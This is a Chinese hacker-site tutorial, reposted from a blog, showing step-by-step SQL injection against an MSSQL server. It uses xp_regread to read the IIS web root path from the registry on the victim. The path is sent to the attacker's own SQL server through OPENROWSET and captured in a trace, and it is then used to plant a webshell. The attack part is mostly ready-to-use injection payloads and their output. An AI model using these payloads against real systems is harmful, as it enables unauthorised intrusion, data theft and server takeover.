您现在的位置: 骇客基地 >> 黑客文章 >> 黑客攻防 >> 黑客教程 >> 正文

MSSQL的openrowset命令获取路径得到Webshell
骇客基地 阅读: 时间:2008-3-31 0:52:59 来源:www.hookbase.com
  

来源:陆羽's blog
得到SQL注入点,首先想到的是BACKUP WEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立SQL数据库

然后在对方机器上建立个表 

SQL代码
  1. create table [dbo].[fenggou]([cha8][char](255))--  

在对方执行 

SQL代码
  1. DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots''/' ,@result output insert into fenggou (cha8) values('Select a.* FROM OPENROWSET(''SQLOLEDB'',''自己的IP'';''sa'';''你的密码'', ''Select * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--  

这样fenggou这个表里就会有这样一条记录

SQL代码
  1. Select a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码''Select * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a  

不用说,''D:\WEB"就是从注册表里读出的物理路径拉.然后执行

SQL代码
  1. DECLARE @a1 char(255) set @a1=(Select cha8 FROM fenggou) exec (@a1);--  

等于执行了

SQL代码
  1. Select a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码''Select * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a  

OK,这时你在你机器上SQL事件追踪器上就会显示

SQL代码
  1. Select * FROM pubs.dbo.authors where au_fname='D:\WEB,,1' 
今天广告
参与评论:
注意事项:
【MSSQL的openrowset命令获取路径得到Webshell】文章由骇客基地网上搜集,其立场行为并不代表本站。
如果您发现该文章若无意中侵犯到您的权利,请联系我们!
未经本站明确许可,任何网站不得非法盗链及抄袭本站资源;如引用页面,请注明来自本站,谢谢您的支持!
最近更新
最新推荐
     
 
黑客首页 | 服务指南 | 软件发布  | 关于我们 | 本站声明  | 隐私声明 | 诚征英才 | 网站地图 | 友情链接 |
 
 
中国·黑客·骇客·基地 请使用IE6.0版本, 分辩率1024×768进行浏览 www.hookbase.com 站长:利客 Email:hookbase@163.com
Copyright © 2004-2009 All Rights Reserved. 粤ICP备05000985号